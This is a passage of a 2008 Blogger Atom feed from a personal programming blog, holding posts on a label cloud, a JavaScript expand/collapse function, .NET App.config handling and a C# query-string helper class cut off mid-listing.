rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_kFNcLq9qQIg/SNcG3Ay99SI/AAAAAAAAAOg/TIS0edZtE-0/S220/yeah_blue_eye_ID.JPG'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-2452103880349618057</id><published>2008-09-25T14:10:00.001+08:00</published><updated>2008-09-25T14:11:54.766+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Others'/><category scheme='http://www.blogger.com/atom/ns#' term='Articles'/><title type='text'>Blogger Label Clound</title><content type='html'>&lt;p&gt;I found a small article about how to change the standard Label links look, well they call it Label Cloud :)&lt;/p&gt;  &lt;p&gt;If you're going to look at my sidebar, there are labels there, with different sizes ... &lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;Well, here's how to do it, from &lt;a target="_blank" href="http://phy3blog.googlepages.com/Beta-Blogger-Label-Cloud.html"&gt;&lt;strong&gt;phydeaux3&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;  &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; padding-top: 0px" id="scid:32a77b7a-5ea4-47be-84fc-ff7471384e10:e9737b4c-4b60-4b29-81dc-3c3112ec46a4" class="wlWriterSmartContent"&gt;&lt;a href="http://phy3blog.googlepages.com/Beta-Blogger-Label-Cloud.html"&gt;&lt;img src="http://lh3.ggpht.com/jayzonr/SNsrPKPHSlI/AAAAAAAAAPY/o6OoKQi1FwU/a40abad7-7536-41ed-ae9f-3b37cf8ec8c3.jpg?imgmax=800" border="1px" /&gt;&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-2452103880349618057?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/2452103880349618057/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=2452103880349618057' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/2452103880349618057'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/2452103880349618057'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2008/09/blogger-label-clound.html' title='Blogger Label Clound'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_kFNcLq9qQIg/SNcG3Ay99SI/AAAAAAAAAOg/TIS0edZtE-0/S220/yeah_blue_eye_ID.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/jayzonr/SNsrPKPHSlI/AAAAAAAAAPY/o6OoKQi1FwU/s72-c/a40abad7-7536-41ed-ae9f-3b37cf8ec8c3.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-6236344252099461472</id><published>2008-09-25T02:22:00.002+08:00</published><updated>2008-09-26T00:23:03.005+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javscript'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><title type='text'>Javscript Expand and Collapse</title><content type='html'>&lt;style type="text/css"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;.csharpcode, .csharpcode pre&lt;br /&gt;{&lt;br /&gt;	font-size: small;&lt;br /&gt;	color: black;&lt;br /&gt;	font-family: consolas, "Courier New", courier, monospace;&lt;br /&gt;	background-color: #ffffff;&lt;br /&gt;	/*white-space: pre;*/&lt;br /&gt;}&lt;br /&gt;.csharpcode pre { margin: 0em; }&lt;br /&gt;.csharpcode .rem { color: #008000; }&lt;br /&gt;.csharpcode .kwrd { color: #0000ff; }&lt;br /&gt;.csharpcode .str { color: #006080; }&lt;br /&gt;.csharpcode .op { color: #0000c0; }&lt;br /&gt;.csharpcode .preproc { color: #cc6633; }&lt;br /&gt;.csharpcode .asp { background-color: #ffff00; }&lt;br /&gt;.csharpcode .html { color: #800000; }&lt;br /&gt;.csharpcode .attr { color: #ff0000; }&lt;br /&gt;.csharpcode .alt &lt;br /&gt;{&lt;br /&gt;	background-color: #f4f4f4;&lt;br /&gt;	width: 100%;&lt;br /&gt;	margin: 0em;&lt;br /&gt;}&lt;br /&gt;.csharpcode .lnum { color: #606060; }&lt;/style&gt;  &lt;p&gt;I updated my blog theme again and add some feature to support Expand and Collapse effect.&lt;/p&gt; &lt;b&gt;below is the Javascript code for that ...&lt;/b&gt;  &lt;pre class="csharpcode"&gt;&lt;span class="kwrd"&gt;function&lt;/span&gt; ExpandCollapse(item)&lt;br /&gt;{&lt;br /&gt;    content = document.getElementById(item);&lt;br /&gt;    ec = document.getElementById(&lt;span class="str"&gt;&amp;quot;ec|&amp;quot;&lt;/span&gt; + item);&lt;br /&gt;    &lt;br /&gt;    &lt;span class="kwrd"&gt;if&lt;/span&gt; (content.style.display == &lt;span class="str"&gt;&amp;quot;none&amp;quot;&lt;/span&gt;)&lt;br /&gt;    {&lt;br /&gt;        content.style.display = &lt;span class="str"&gt;&amp;quot;block&amp;quot;&lt;/span&gt;;&lt;br /&gt;        ec.innerHTML = &lt;span class="str"&gt;&amp;quot;[-]&amp;quot;&lt;/span&gt;;&lt;br /&gt;    }&lt;br /&gt;    &lt;span class="kwrd"&gt;else&lt;/span&gt;&lt;br /&gt;    {&lt;br /&gt;        content.style.display = &lt;span class="str"&gt;&amp;quot;none&amp;quot;&lt;/span&gt;;&lt;br /&gt;        ec.innerHTML = &lt;span class="str"&gt;&amp;quot;[+]&amp;quot;&lt;/span&gt;;&lt;br /&gt;    }&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;Simple HTML sample&lt;/b&gt; &lt;br /&gt;&lt;pre class="csharpcode"&gt;&lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;a&lt;/span&gt; &lt;span class="attr"&gt;href&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;javascript:ExpandCollapse('main');&amp;quot;&lt;/span&gt; &lt;span class="attr"&gt;id&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;ec|main&amp;quot;&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;[-]&lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;a&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt; Main Item&lt;br /&gt;&lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;div&lt;/span&gt; &lt;span class="attr"&gt;id&lt;/span&gt;=&lt;span class="attr"&gt;main&lt;/span&gt; &lt;span class="attr"&gt;style&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;margin-left:1em&amp;quot;&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;a&lt;/span&gt; &lt;span class="attr"&gt;href&lt;/span&gt;=#&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;Item 1&lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;a&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;br&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;a&lt;/span&gt; &lt;span class="attr"&gt;href&lt;/span&gt;=#&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;Item 2&lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;a&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;br&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;a&lt;/span&gt; &lt;span class="attr"&gt;href&lt;/span&gt;=#&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;Item 3&lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;a&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;div&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-6236344252099461472?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/6236344252099461472/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=6236344252099461472' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/6236344252099461472'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/6236344252099461472'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2008/09/javscript-expand-and-collapse.html' title='Javscript Expand and Collapse'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_kFNcLq9qQIg/SNcG3Ay99SI/AAAAAAAAAOg/TIS0edZtE-0/S220/yeah_blue_eye_ID.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-3324059702465751541</id><published>2008-08-26T09:54:00.002+08:00</published><updated>2008-08-26T09:57:02.949+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Others'/><category scheme='http://www.blogger.com/atom/ns#' term='Articles'/><title type='text'>Read/Write App.config with .NET 2.0/Enterprise Library</title><content type='html'>&lt;p&gt;This time I would like to show you the most important changes in the &lt;a href="http://msdn2.microsoft.com/en-us/library/2a1tyt9s%28en-US,VS.80%29.aspx"&gt;System.Configuration&lt;/a&gt; namespace with .NET 2.0.&lt;br /&gt;I have looked at my blog referrer statistics and saw about 20 hits/day by Google. Most of them were searching &lt;br /&gt;infos how to configure the new Enterprise Library but also a significant number of people which seem to seek guidance to the&lt;br /&gt;following questions:&lt;br /&gt;&lt;/p&gt;     &lt;ul&gt;&lt;li&gt;How to read/&lt;span style="font-weight: bold;"&gt;write &lt;/span&gt;to App.Config?&lt;/li&gt;&lt;li&gt;How to store a list of objects in a config file via the System.Configuration mechanism?&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;Reason enough for me to shed more light on the System.Configuration namespace.&lt;br /&gt;The main changes from .NET 1.0/1.1 in the System.Configuration namespace are:&lt;br /&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;Write to your App.Config file through the &lt;a href="http://msdn2.microsoft.com/en-us/library/ms134087.aspx"&gt;Configuration class.&lt;/a&gt;&lt;/li&gt;&lt;li&gt;New configuration model for Windows Forms applications.&lt;/li&gt;&lt;li&gt;Store complex objects including &lt;a href="http://msdn2.microsoft.com/en-us/library/a35we8et%28en-US,VS.80%29.aspx"&gt;object collections&lt;/a&gt; in your App.Config File.&lt;/li&gt;&lt;li&gt;It is possible to store Connection Strings in the App.Config file see &lt;a href="http://msdn2.microsoft.com/en-us/library/z0kbht2d%28en-US,VS.80%29.aspx"&gt;ConnectionSettings &lt;/a&gt;this enables you to store you settings on a SQL Server. The Enterprise Library for Sample SqlConfiguration exercises this by implementing a SqlConfigurationSource which can store and retrieve &lt;a href="http://msdn2.microsoft.com/en-us/library/x0kca287%28en-US,VS.80%29.aspx"&gt;a ConfigurationSection&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt; So where to start? I think I show you at first the config file and explain how you can create it programtically in your application.&lt;br /&gt;&lt;br /&gt;By: &lt;a href="http://geekswithblogs.net/akraus1/Default.aspx"&gt;&lt;span style="font-weight: bold;"&gt;Alois Kraus&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://geekswithblogs.net/akraus1/articles/64871.aspx"&gt;&lt;span style="font-style: italic;"&gt;read the full article&lt;/span&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-3324059702465751541?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/3324059702465751541/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=3324059702465751541' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/3324059702465751541'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/3324059702465751541'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2008/08/readwrite-appconfig-with-net.html' title='Read/Write App.config with .NET 2.0/Enterprise Library'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp0.blogger.com/_kFNcLq9qQIg/R2aOfUGXOYI/AAAAAAAAADU/Hgr5RxSP2AY/S220/pict.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-7674719219019759725</id><published>2008-08-26T09:03:00.001+08:00</published><updated>2008-09-25T16:15:30.859+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><title type='text'>A little class to help you with uri querystrings for Windows Forms</title><content type='html'>&lt;pre style="padding: 0px; margin: 0px"&gt;&lt;br /&gt; &lt;div style="padding:0px; margin: 0px; background-color: #FFFFFF; color: black; height: 500px; overflow: auto;"&gt;&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;1&lt;/span&gt;&lt;span style="color: #0000FF"&gt;public&lt;/span&gt; &lt;span style="color: #0000FF"&gt;class&lt;/span&gt; URIQueryString&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;2&lt;/span&gt;{&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;3&lt;/span&gt; &lt;span style="color: #0000FF"&gt;string&lt;/span&gt; URIQuery = &lt;span style="color: #0000FF"&gt;string&lt;/span&gt;.Empty;&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;4&lt;/span&gt; Hashtable htURIQuerystring = &lt;span style="color: #0000FF"&gt;new&lt;/span&gt; Hashtable();&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;5&lt;/span&gt;&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;6&lt;/span&gt; &lt;span style="color: #0000FF"&gt;public&lt;/span&gt; URIQueryString(&lt;span style="color: #0000FF"&gt;string&lt;/span&gt; uriQuery)&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;7&lt;/span&gt; {&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;8&lt;/span&gt;  &lt;span style="color: #0000FF"&gt;this&lt;/span&gt;.URIQuery = uriQuery;&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;9&lt;/span&gt;  &lt;span style="color: #0000FF"&gt;this&lt;/span&gt;.htURIQuerystring = Enumerate();&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;10&lt;/span&gt; }&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;11&lt;/span&gt;&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;12&lt;/span&gt; &lt;span style="color: #0000FF"&gt;public&lt;/span&gt; Hashtable Enumerate()&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;13&lt;/span&gt; {&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;14&lt;/span&gt;  Hashtable ret = &lt;span style="color: #0000FF"&gt;new&lt;/span&gt; Hashtable();&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;15&lt;/span&gt;&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;16&lt;/span&gt;  &lt;span style="color: #008200"&gt;// with HttpRequest object&lt;/span&gt;&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;17&lt;/span&gt;  &lt;span style="color: #008200"&gt;//HttpRequest req = new HttpRequest(string.Empty, URIQuery, URIQuery.Substring(URIQuery.IndexOf('?') + 1));&lt;/span&gt;&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;18&lt;/span&gt;  &lt;span style="color: #008200"&gt;//for (int i = 0; i &amp;lt; req.QueryString.Count; i++)&lt;/span&gt;&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;19&lt;/span&gt;  &lt;span style="color: #008200"&gt;//{&lt;/span&gt;&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;20&lt;/span&gt;  &lt;span style="color: #008200"&gt;//    ret.Add(req.QueryString.GetKey(i), req.QueryString[i].ToString());&lt;/span&gt;&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;21&lt;/span&gt;  &lt;span style="color: #008200"&gt;//}&lt;/span&gt;&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;22&lt;/span&gt;&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;23&lt;/span&gt;  &lt;span style="color: #008200"&gt;// without HttpRequest object&lt;/span&gt;&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;24&lt;/span&gt;  &lt;span style="color: #0000FF"&gt;string&lt;/span&gt; FullQuery = URIQuery.Substring(URIQuery.IndexOf('?') + 1);&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;25&lt;/span&gt;  &lt;span style="color: #0000FF"&gt;string&lt;/span&gt;[] KV = FullQuery.Split('&amp;');&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;26&lt;/span&gt;  &lt;span style="color: #0000FF"&gt;for&lt;/span&gt; (&lt;span style="color: #0000FF"&gt;int&lt;/span&gt; i = 0; i &amp;lt; KV.Length; i++)&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;27&lt;/span&gt;  {&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;28&lt;/span&gt;   &lt;span style="color: #0000FF"&gt;string&lt;/span&gt;[] dat = KV[i].Split('=');&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;29&lt;/span&gt;   ret.Add(dat[0], dat[1]);&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;30&lt;/span&gt;  }&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;31&lt;/span&gt;&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;32&lt;/span&gt;  &lt;span style="color: #0000FF"&gt;return&lt;/span&gt; ret;&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;33&lt;/span&gt; }&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;34&lt;/span&gt;&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;35&lt;/span&gt; &lt;span style="color: #0000FF"&gt;public&lt;/span&gt; &lt;span style="color: #0000FF"&gt;bool&lt;/span&gt; HasKey(&lt;span style="color: #0000FF"&gt;string&lt;/span&gt; Key)&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;36&lt;/span&gt; {&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;37&lt;/span&gt;  &lt;span style="color: #0000FF"&gt;return&lt;/span&gt; htURIQuerystring.ContainsKey(Key);&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;38&lt;/span&gt; }&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;39&lt;/span&gt;&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;40&lt;/span&gt; &lt;span style="color: #0000FF"&gt;public&lt;/span&gt; &lt;span style="color: #0000FF"&gt;string&lt;/span&gt; GetURI()&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;41&lt;/span&gt; {&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;42&lt;/span&gt;  &lt;span style="color: #0000FF"&gt;return&lt;/span&gt; &lt;span style="color: #0000FF"&gt;this&lt;/span&gt;.URIQuery.Substring(0, &lt;span style="color: #0000FF"&gt;this&lt;/span&gt;.URIQuery.IndexOf(&lt;span style="color: #848284"&gt;"?"&lt;/span&gt;));&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;43&lt;/span&gt; }&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;44&lt;/span&gt;&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;45&lt;/span&gt; &lt;span style="color: #0000FF"&gt;public&lt;/span&gt; &lt;span style="color: #0000FF"&gt;void&lt;/span&gt; ChangeValue(&lt;span style="color: #0000FF"&gt;string&lt;/span&gt; Key, &lt;span style="color: #0000FF"&gt;string&lt;/span&gt; Value)&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;46&lt;/span&gt; {&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;47&lt;/span&gt;  &lt;span style="color: #0000FF"&gt;if&lt;/span&gt; (htURIQuerystring.ContainsKey(Key))&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;48&lt;/span&gt;  {&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;49&lt;/span&gt;   IDictionaryEnumerator dicEnum = htURIQuerystring.GetEnumerator();&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;50&lt;/span&gt;   &lt;span style="color: #0000FF"&gt;while&lt;/span&gt; (dicEnum.MoveNext())&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;51&lt;/span&gt;   {&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;52&lt;/span&gt;    &lt;span style="color: #0000FF"&gt;if&lt;/span&gt; (dicEnum.Key.ToString().ToLower() == Key.ToLower())&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;53&lt;/span&gt;    {&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;54&lt;/span&gt;     htURIQuerystring.Remove(Key);&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;55&lt;/span&gt;     htURIQuerystring.Add(Key, Value);&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;56&lt;/span&gt;&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;57&lt;/span&gt;     &lt;span style="color: #0000FF"&gt;break&lt;/span&gt;;&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;58&lt;/span&gt;    }&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;59&lt;/span&gt;   }&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;60&lt;/span&gt;  }&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;61&lt;/span&gt; }&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;62&lt;/span&gt;&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;63&lt;/span&gt; &lt;span style="color: #0000FF"&gt;public&lt;/span&gt; &lt;span style="color: #0000FF"&gt;void&lt;/span&gt; RemoveKey(&lt;span style="color: #0000FF"&gt;string&lt;/span&gt; Key)&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;64&lt;/span&gt; {&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;65&lt;/span&gt;  &lt;span style="color: #0000FF"&gt;if&lt;/span&gt; (htURIQuerystring.ContainsKey(Key))&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;66&lt;/span&gt;  {&lt;br /&gt;  &lt;span style='color: 